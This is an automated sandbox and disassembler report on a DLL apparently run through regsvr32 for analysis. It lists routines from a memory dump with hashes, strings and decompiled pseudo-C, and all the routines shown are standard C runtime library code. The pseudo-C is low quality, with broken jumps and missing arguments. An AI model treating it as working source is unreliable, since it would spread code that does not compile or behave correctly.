((_Dst)) != NULL && ((_SizeInWords)) > 0, xrefs: 000007FEF9D3168D, 000007FEF9D316EA
Buffer is too small, xrefs: 000007FEF9D31934

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (((_Src))) != NULL$((_Dst)) != NULL && ((_SizeInWords)) > 0$(L"Buffer is too small" && 0)$Buffer is too small$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscpy_s.inl$wcscpy_s
API String ID: 2123368286-3300880850
Opcode ID: 938211b99713ed548de0de10d16fbf2c247e5ceda09f99a66501889bb82a488d
Instruction ID: aecfb8002ddf48ca923cbb39b51a8433fc62f52c2bad17b92f015e95501d1b82
Opcode Fuzzy Hash: 938211b99713ed548de0de10d16fbf2c247e5ceda09f99a66501889bb82a488d
Instruction Fuzzy Hash: 16C15B31A0DB8685EBB08B29E84476E63E4F385795F608235D6DD43BA9DF7ED084CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2D490 Relevance: 16.0, APIs: 3, Strings: 6, Instructions: 228COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D2D541
_invalid_parameter.LIBCMTD ref: 000007FEF9D2D66D
_invalid_parameter.LIBCMTD ref: 000007FEF9D2D80C

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscpy_s.inl, xrefs: 000007FEF9D2D4F2, 000007FEF9D2D52C, 000007FEF9D2D61E, 000007FEF9D2D658, 000007FEF9D2D7BD, 000007FEF9D2D7F7
(((_Src))) != NULL, xrefs: 000007FEF9D2D609, 000007FEF9D2D666
(L"Buffer is too small" && 0), xrefs: 000007FEF9D2D7A8, 000007FEF9D2D805
strcpy_s, xrefs: 000007FEF9D2D533, 000007FEF9D2D65F, 000007FEF9D2D7FE
((_Dst)) != NULL && ((_SizeInBytes)) > 0, xrefs: 000007FEF9D2D4DD, 000007FEF9D2D53A
Buffer is too small, xrefs: 000007FEF9D2D775

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (((_Src))) != NULL$((_Dst)) != NULL && ((_SizeInBytes)) > 0$(L"Buffer is too small" && 0)$Buffer is too small$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscpy_s.inl$strcpy_s
API String ID: 2123368286-3045918802
Opcode ID: ee01400f27967885302bbfc3418a092fc70a607ac75d61aa13826b291406155b
Instruction ID: 2d2c21a115c33e05293010ad7c3501076a31da08f4abba68164bfd8b1e70ad26
Opcode Fuzzy Hash: ee01400f27967885302bbfc3418a092fc70a607ac75d61aa13826b291406155b
Instruction Fuzzy Hash: 9EC14D3190CB8A85EBA08B28E84436EA3E0F386794F614535D6DE43BB5DF7ED448CB11

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3F000 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 164
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 15%

			E000007FE7FEF9D3F000(long long __rcx, signed char* __rdx, long long __r8, long long __r9, long long _a8, signed char* _a16, long long _a24, long long _a32) {
				intOrPtr _v24;
				long long _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				char _v88;
				intOrPtr _v96;
				long long _v104;
				void* _t80;
				void* _t81;
				void* _t89;
				void* _t92;
				intOrPtr _t102;
				intOrPtr* _t136;
				intOrPtr* _t137;
				intOrPtr* _t139;
				signed char* _t141;
				intOrPtr* _t142;
				intOrPtr* _t143;
				intOrPtr* _t144;
				intOrPtr* _t148;
				intOrPtr* _t149;

				_a32 = __r9;
				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				if (_a16 == 0) goto 0xf9d3f031;
				if (_a24 != 0) goto 0xf9d3f038;
				goto 0xf9d3f31a;
				_t136 = _a16;
				if ( *_t136 != 0) goto 0xf9d3f066;
				if (_a8 == 0) goto 0xf9d3f05f;
				 *_a8 = 0;
				goto 0xf9d3f31a;
				0xf9d266b0();
				_t80 = E000007FE7FEF9D26840(0,  &_v88);
				_t137 =  *_t136;
				if ( *((intOrPtr*)(_t137 + 0x10c)) == 1) goto 0xf9d3f0d2;
				_t81 = E000007FE7FEF9D26840(_t80,  &_v88);
				if ( *((intOrPtr*)( *_t137 + 0x10c)) == 2) goto 0xf9d3f0d2;
				_t139 = L"_loc_update.GetLocaleT()->locinfo->mb_cur_max == 1 || _loc_update.GetLocaleT()->locinfo->mb_cur_max == 2";
				_v104 = _t139;
				r9d = 0;
				r8d = 0x47;
				0xf9d2b3b0();
				if (_t81 != 1) goto 0xf9d3f0d2;
				asm("int3");
				E000007FE7FEF9D26840(0,  &_v88);
				if ( *((intOrPtr*)( *_t139 + 0x14)) != 0) goto 0xf9d3f121;
				if (_a8 == 0) goto 0xf9d3f106;
				_t141 = _a16;
				 *_a8 =  *_t141 & 0x000000ff;
				_v56 = 1;
				E000007FE7FEF9D26800( &_v88);
				goto 0xf9d3f31a;
				E000007FE7FEF9D26840(_v56,  &_v88);
				if (E000007FE7FEF9D32B90( *_a16 & 0x000000ff, _t141, _t141) == 0) goto 0xf9d3f276;
				_t89 = E000007FE7FEF9D26840(_t88,  &_v88);
				_t142 =  *_t141;
				if ( *((intOrPtr*)(_t142 + 0x10c)) - 1 <= 0) goto 0xf9d3f1f3;
				E000007FE7FEF9D26840(_t89,  &_v88);
				_t143 =  *_t142;
				if (_a24 -  *((intOrPtr*)(_t143 + 0x10c)) < 0) goto 0xf9d3f1f3;
				if (_a8 == 0) goto 0xf9d3f191;
				_v36 = 1;
				goto 0xf9d3f199;
				_v36 = 0;
				_t92 = E000007FE7FEF9D26840( *((intOrPtr*)(_t143 + 0x10c)),  &_v88);
				_t144 =  *_t143;
				_v32 = _t144;
				E000007FE7FEF9D26840(_t92,  &_v88);
				_v96 = _v36;
				_v104 = _a8;
				r9d =  *((intOrPtr*)(_v32 + 0x10c));
				if (MultiByteToWideChar(??, ??, ??, ??, ??, ??) != 0) goto 0xf9d3f247;
				E000007FE7FEF9D26840(_t94,  &_v88);
				if (_a24 -  *((intOrPtr*)( *((intOrPtr*)( *_t144)) + 0x10c)) < 0) goto 0xf9d3f221;
				_t148 = _a16;
				if ( *((char*)(_t148 + 1)) != 0) goto 0xf9d3f247;
				0xf9d2ab30();
				 *_t148 = 0x2a;
				_v52 = 0xffffffff;
				E000007FE7FEF9D26800( &_v88);
				goto 0xf9d3f31a;
				E000007FE7FEF9D26840(_v52,  &_v88);
				_t149 =  *_t148;
				_v48 =  *((intOrPtr*)(_t149 + 0x10c));
				E000007FE7FEF9D26800( &_v88);
				_t102 = _v48;
				goto 0xf9d3f310;
				if (_a8 == 0) goto 0xf9d3f28b;
				_v24 = 1;
				goto 0xf9d3f293;
				_v24 = 0;
				E000007FE7FEF9D26840(_t102,  &_v88);
				_v96 = _v24;
				_v104 = _a8;
				r9d = 1;
				if (MultiByteToWideChar(??, ??, ??, ??, ??, ??) != 0) goto 0xf9d3f2f8;
				0xf9d2ab30();
				 *((intOrPtr*)( *_t149)) = 0x2a;
				_v44 = 0xffffffff;
				E000007FE7FEF9D26800( &_v88);
				goto 0xf9d3f31a;
				_v40 = 1;
				E000007FE7FEF9D26800( &_v88);
				goto 0xf9d3f31a;
				return E000007FE7FEF9D26800( &_v88);
			}

0x7fef9d3f000
0x7fef9d3f005
0x7fef9d3f00a
0x7fef9d3f00f
0x7fef9d3f024
0x7fef9d3f02f
0x7fef9d3f033
0x7fef9d3f038
0x7fef9d3f045
0x7fef9d3f050
0x7fef9d3f05c
0x7fef9d3f061
0x7fef9d3f073
0x7fef9d3f07d
0x7fef9d3f082
0x7fef9d3f08c
0x7fef9d3f093
0x7fef9d3f0a2
0x7fef9d3f0a4
0x7fef9d3f0ab
0x7fef9d3f0b0
0x7fef9d3f0b3
0x7fef9d3f0c5
0x7fef9d3f0cd
0x7fef9d3f0cf
0x7fef9d3f0d7
0x7fef9d3f0e3
0x7fef9d3f0ee
0x7fef9d3f0f0
0x7fef9d3f103
0x7fef9d3f106
0x7fef9d3f113
0x7fef9d3f11c
0x7fef9d3f126
0x7fef9d3f140
0x7fef9d3f14b
0x7fef9d3f150
0x7fef9d3f15a
0x7fef9d3f165
0x7fef9d3f16a
0x7fef9d3f17a
0x7fef9d3f185
0x7fef9d3f187
0x7fef9d3f18f
0x7fef9d3f191
0x7fef9d3f19e
0x7fef9d3f1a3
0x7fef9d3f1a6
0x7fef9d3f1b0
0x7fef9d3f1bc
0x7fef9d3f1c8
0x7fef9d3f1d2
0x7fef9d3f1f1
0x7fef9d3f1f8
0x7fef9d3f20f
0x7fef9d3f211
0x7fef9d3f21f
0x7fef9d3f221
0x7fef9d3f226
0x7fef9d3f22c
0x7fef9d3f239
0x7fef9d3f242
0x7fef9d3f24c
0x7fef9d3f251
0x7fef9d3f25a
0x7fef9d3f263
0x7fef9d3f268
0x7fef9d3f271
0x7fef9d3f27f
0x7fef9d3f281
0x7fef9d3f289
0x7fef9d3f28b
0x7fef9d3f298
0x7fef9d3f2a4
0x7fef9d3f2b0
0x7fef9d3f2b5
0x7fef9d3f2d3
0x7fef9d3f2d5
0x7fef9d3f2da
0x7fef9d3f2e0
0x7fef9d3f2ed
0x7fef9d3f2f6
0x7fef9d3f2f8
0x7fef9d3f305
0x7fef9d3f30e
0x7fef9d3f321

APIs

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3F113
MultiByteToWideChar.KERNEL32 ref: 000007FEF9D3F1E9
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3F239
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3F263

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\mbtowc.c, xrefs: 000007FEF9D3F0B9
_loc_update.GetLocaleT()->locinfo->mb_cur_max == 1 || _loc_update.GetLocaleT()->locinfo->mb_cur_max == 2, xrefs: 000007FEF9D3F0A4

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$ByteCharMultiWide
String ID: _loc_update.GetLocaleT()->locinfo->mb_cur_max == 1 || _loc_update.GetLocaleT()->locinfo->mb_cur_max == 2$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\mbtowc.c
API String ID: 3162172745-1617866167
Opcode ID: 1f8ba6bd668c859fdc1c929c81f91c7de023d0dcacf149bd6155c41000b32a69
Instruction ID: 684ba7971de88d1067c150b2dc8aa1ec623b130c6e00156a0851ae80eca3a1f6
Opcode Fuzzy Hash: 1f8ba6bd668c859fdc1c929c81f91c7de023d0dcacf149bd6155c41000b32a69
Instruction Fuzzy Hash: A9913C32A1C78586E7A0DB19E8507AEB7E0F785B45FA08136E6CD837A5DB3ED444CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D26BF0 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 127COMMONLIBRARYCODE

Download Yara Rule

APIs

_swprintf_p.LIBCMTD ref: 000007FEF9D26DC2
_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D26E0D

Part of subcall function 000007FEF9D2C170: _LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D2C20A

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D26E74

Strings

(*_errno()), xrefs: 000007FEF9D26DF9
_printMemBlockData, xrefs: 000007FEF9D26DED
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D26DE1
, xrefs: 000007FEF9D26D3E
%.2X , xrefs: 000007FEF9D26DAD
Data: <%s> %s, xrefs: 000007FEF9D26E49

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invoke_watson_if_oneof_swprintf_p
String ID: $ Data: <%s> %s$%.2X $(*_errno())$_printMemBlockData$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c
API String ID: 792801276-1329727594
Opcode ID: 3bedb609291a4b858326ef236c1a71752733cc22d3f81b148e8b3570f3bc9f75
Instruction ID: 74944a5c68176a92a31906070f765b18f74d9586b7891cebb3d67554b9ce35f5
Opcode Fuzzy Hash: 3bedb609291a4b858326ef236c1a71752733cc22d3f81b148e8b3570f3bc9f75
Instruction Fuzzy Hash: B2613872A0D7C186E7B49B10E8907AEBBA0F784740FA18126D6CD47BA9DB3ED404CF40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3F900 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 105COMMONLIBRARYCODE

Download Yara Rule

APIs

__doserrno.LIBCMTD ref: 000007FEF9D3F913
__doserrno.LIBCMTD ref: 000007FEF9D3F99E
_invalid_parameter.LIBCMTD ref: 000007FEF9D3F9D8

Strings

(fh >= 0 && (unsigned)fh < (unsigned)_nhandle), xrefs: 000007FEF9D3F969, 000007FEF9D3F9D1
_get_osfhandle, xrefs: 000007FEF9D3F9CA, 000007FEF9D3FA99
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\osfinfo.c, xrefs: 000007FEF9D3F97E, 000007FEF9D3F9C3, 000007FEF9D3FA4D, 000007FEF9D3FA92
(_osfile(fh) & FOPEN), xrefs: 000007FEF9D3FA38, 000007FEF9D3FAA0

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: __doserrno$_invalid_parameter
String ID: (_osfile(fh) & FOPEN)$(fh >= 0 && (unsigned)fh < (unsigned)_nhandle)$_get_osfhandle$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\osfinfo.c
API String ID: 747159061-3177431134
Opcode ID: a294e87af6799fd5b40bd152d4ba1c080b88c0b0971c2ee76bd3c9e1fffa8bcc
Instruction ID: efe890aaf17933dee885bd0091a5358479214bdc632742ad2579ba78141b5705
Opcode Fuzzy Hash: a294e87af6799fd5b40bd152d4ba1c080b88c0b0971c2ee76bd3c9e1fffa8bcc
Instruction Fuzzy Hash: 25518C32A1864A86F7909B59E88076EB3E1F3807A5F609321E1ED077F5D7BED500CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2BA60 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 78memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D2BAFB
HeapSize.KERNEL32 ref: 000007FEF9D2BB40
HeapReAlloc.KERNEL32 ref: 000007FEF9D2BB61
_is_LFH_enabled.LIBCMTD ref: 000007FEF9D2BB8B

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\expand.c, xrefs: 000007FEF9D2BAAC, 000007FEF9D2BAE6
pBlock != NULL, xrefs: 000007FEF9D2BA97, 000007FEF9D2BAF4
_expand_base, xrefs: 000007FEF9D2BAED

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Heap$AllocH_enabledSize_invalid_parameter_is_
String ID: _expand_base$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\expand.c$pBlock != NULL
API String ID: 1608253119-1427866139
Opcode ID: b3a6b944d23a3465c4e6046a1e88bc32cc41bb9fe3a320684877be901aeb32e4
Instruction ID: af7a509f9d9663d3d091774dda128b819ecaca6506a1d0d194354ddf51f74ba4
Opcode Fuzzy Hash: b3a6b944d23a3465c4e6046a1e88bc32cc41bb9fe3a320684877be901aeb32e4
Instruction Fuzzy Hash: 0F41573191DB4686E7A09B20F84436E72E0F786780F614135E6CD43AF8CBBEE485CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D386B0 Relevance: 14.3, APIs: 3, Strings: 5, Instructions: 282COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3876B
_invalid_parameter.LIBCMTD ref: 000007FEF9D3883D
_invalid_parameter.LIBCMTD ref: 000007FEF9D38B4C

Strings

format != NULL, xrefs: 000007FEF9D38707, 000007FEF9D38764
_vsnwprintf_s_l, xrefs: 000007FEF9D3875D, 000007FEF9D3882F, 000007FEF9D38B3E
string != NULL && sizeInWords > 0, xrefs: 000007FEF9D387D9, 000007FEF9D38836
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vswprint.c, xrefs: 000007FEF9D3871C, 000007FEF9D38756, 000007FEF9D387EE, 000007FEF9D38828, 000007FEF9D38AFD, 000007FEF9D38B37
("Buffer too small", 0), xrefs: 000007FEF9D38AE8, 000007FEF9D38B45

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: ("Buffer too small", 0)$_vsnwprintf_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vswprint.c$format != NULL$string != NULL && sizeInWords > 0
API String ID: 2123368286-2958264153
Opcode ID: ced4706838129b7b95ee409a728acbeff35cdf169ec97d38e23daf610fb20cc8
Instruction ID: 82e3240dde4e8d48ae566a9cb8a6505450234aa7e72eaba3f84792f0d3cada8d
Opcode Fuzzy Hash: ced4706838129b7b95ee409a728acbeff35cdf169ec97d38e23daf610fb20cc8
Instruction Fuzzy Hash: 3CE14D31A1DA868AEBB48B24E84076EB3E0F385765F204225E6DD43BE5DB7ED445CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3C1A3 Relevance: 14.3, APIs: 4, Strings: 4, Instructions: 251COMMON

Download Yara Rule

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3C1F1

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
_output_s_l, xrefs: 000007FEF9D3BAFB
-, xrefs: 000007FEF9D3CA54

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: get_int64_arg
String ID: ("Incorrect format specifier", 0)$-$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 1967237116-569934968
Opcode ID: a4b0ff099cb4cab39938a39410f3255722065ce2ff61adb6fbb12e1a083add00
Instruction ID: 28cad1f176e9be3240a3a6eae7be917d28bff7715537f6893ff636485155e31a
Opcode Fuzzy Hash: a4b0ff099cb4cab39938a39410f3255722065ce2ff61adb6fbb12e1a083add00
Instruction Fuzzy Hash: 4AD11D7260DBC58BE7B1CB65E8507AEB7E4F384785F200125EAC886AA9DB7DD540CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3BFDE Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 212
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E000007FE7FEF9D3BFDE(char _a696, char _a976) {

				_a976 = _a696;
				_a976 = _a976 - 0x41;
				if (_a976 - 0x37 > 0) goto 0xf9d3ca31;
				goto __rax;
			}

0x7fef9d3bfe6
0x7fef9d3bff7
0x7fef9d3c006
0x7fef9d3c02d

APIs

wctomb_s.LIBCMTD ref: 000007FEF9D3CBB1

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
_output_s_l, xrefs: 000007FEF9D3BAFB
, xrefs: 000007FEF9D3CA88
7, xrefs: 000007FEF9D3BFFE

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: wctomb_s
String ID: $("Incorrect format specifier", 0)$7$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2215178078-1895985292
Opcode ID: cbe9265cfe95002cd01c633456f4143dcea286b255341fa392fef384a43988b7
Instruction ID: 997c34190204a200d34649c4b27f82da9c53e16be2ae3c50a0a3632b50fb2b35
Opcode Fuzzy Hash: cbe9265cfe95002cd01c633456f4143dcea286b255341fa392fef384a43988b7
Instruction Fuzzy Hash: E5B12E7260C7C68AE7B1CB24E8457AEB7E4F384785F604126DAD887AA9DB7DD540CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D32260 Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 185COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D32310
_invalid_parameter.LIBCMTD ref: 000007FEF9D323B4
_invalid_parameter.LIBCMTD ref: 000007FEF9D32505

Strings

string != NULL && sizeInBytes > 0, xrefs: 000007FEF9D32350, 000007FEF9D323AD
_vsprintf_s_l, xrefs: 000007FEF9D32302, 000007FEF9D323A6, 000007FEF9D324F7
format != NULL, xrefs: 000007FEF9D322AC, 000007FEF9D32309
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c, xrefs: 000007FEF9D322C1, 000007FEF9D322FB, 000007FEF9D32365, 000007FEF9D3239F, 000007FEF9D324B6, 000007FEF9D324F0
("Buffer too small", 0), xrefs: 000007FEF9D324A1, 000007FEF9D324FE

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: ("Buffer too small", 0)$_vsprintf_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c$format != NULL$string != NULL && sizeInBytes > 0
API String ID: 2123368286-348877268
Opcode ID: 2cfb79548520c5644ac56b859ec2257f97161b74a067da09cc3df7a1a7a1eb8b
Instruction ID: 912ac3d754b702bf63931d64d46681ea7dc30ff1a731304ef262a69894a36d33
Opcode Fuzzy Hash: 2cfb79548520c5644ac56b859ec2257f97161b74a067da09cc3df7a1a7a1eb8b
Instruction Fuzzy Hash: 60913A32A0DA4286E7A08B68E84476E77E0F394365F204625E7DD43AF8DB7EE5458F01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3BB66 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 000007FEF9D32B90: _LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D32BD7

_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E
_invalid_parameter.LIBCMTD ref: 000007FEF9D3BC75
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BC8A

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4, 000007FEF9D3BC23, 000007FEF9D3BC60
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
_output_s_l, xrefs: 000007FEF9D3BAFB, 000007FEF9D3BC67
(ch != _T('\0')), xrefs: 000007FEF9D3BC0E, 000007FEF9D3BC6E

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
